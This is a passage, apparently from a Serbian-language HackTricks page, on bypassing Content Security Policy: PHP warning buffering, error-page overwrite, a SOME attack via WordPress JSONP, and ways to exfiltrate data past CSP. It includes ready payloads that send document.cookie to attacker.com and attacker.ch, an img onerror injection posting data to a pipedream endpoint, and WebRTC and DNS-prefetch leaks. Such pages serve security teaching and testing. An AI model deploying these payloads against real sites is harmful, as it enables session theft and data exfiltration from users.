PHP je poznat po tome što bafuje odgovor na 4096 bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem dovoljno podataka unutar upozorenja, odgovor će biti poslat pre CSP header-a, uzrokujući da se header ignoriše.
Tada, tehnika se u suštini sastoji u punjenju bafera odgovora upozorenjima kako CSP header ne bi bio poslat.
Ideja iz ovog izveštaja.
Prepisivanje stranice greške
Iz ovog izveštaja izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice greške (potencijalno bez CSP-a) i prepisivanjem njenog sadržaja.
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + 'self' + wordpress
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) u tački pristupa stranice da zloupotrebi druge tačke pristupa iste domene. To se postiže učitavanjem ranjive tačke pristupa sa stranice napadača, a zatim osvežavanjem stranice napadača na pravu tačku pristupa u istoj domeni koju želite da zloupotrebite. Na ovaj način ranjiva tačka pristupa može koristiti opener
objekat u payload-u da pristupi DOM-u prave tačke pristupa koju treba zloupotrebiti. Za više informacija pogledajte:
{{#ref}} ../xss-cross-site-scripting/some-same-origin-method-execution.md {{#endref}}
Pored toga, wordpress ima JSONP tačku pristupa u /wp-json/wp/v2/users/1?_jsonp=data
koja će odraziti podatke poslati u izlazu (sa ograničenjem samo na slova, brojeve i tačke).
Napadač može zloupotrebiti tu tačku pristupa da generiše SOME napad protiv WordPress-a i ugradi ga unutar <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
napominjemo da će ovaj script biti učitan jer je dozvoljen od 'self'. Pored toga, i zato što je WordPress instaliran, napadač može zloupotrebiti SOME napad kroz ranjivu callback tačku pristupa koja zaobilazi CSP da bi dala više privilegija korisniku, instalirao novi dodatak...
Za više informacija o tome kako izvesti ovaj napad pogledajte https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
Ako postoji stroga CSP koja vam ne dozvoljava da interagujete sa spoljnim serverima, postoji nekoliko stvari koje uvek možete uraditi da izvučete informacije.
Location
Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije na server napadača:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
Možete preusmeriti injektovanjem meta taga (ovo je samo preusmeravanje, ovo neće otkriti sadržaj)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
Da bi učitali stranice brže, pregledači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.
Možete naterati pregledač da unapred reši ime hosta sa: <link rel="dns-prefetch" href="something.com">
Možete zloupotrebiti ovo ponašanje da izvršite exfiltraciju osetljivih informacija putem DNS zahteva:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
Još jedan način:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
Da bi se izbeglo da se ovo desi, server može poslati HTTP zaglavlje:
X-DNS-Prefetch-Control: off
Tip
Očigledno, ova tehnika ne funkcioniše u headless pretraživačima (botovima)
WebRTC
Na nekoliko stranica možete pročitati da WebRTC ne proverava connect-src
politiku CSP-a.
U stvari, možete leak informacije koristeći DNS zahtev. Pogledajte ovaj kod:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
Još jedna opcija:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
Popup za kredencijale šalje DNS zahtev ka iconURL bez ograničenja od strane stranice. Radi samo u sigurnom kontekstu (HTTPS) ili na localhost-u.
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
Provera CSP politika online
Automatsko kreiranje CSP
https://csper.io/docs/generating-content-security-policy
Reference
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
{{#include ../../banners/hacktricks-training.md}}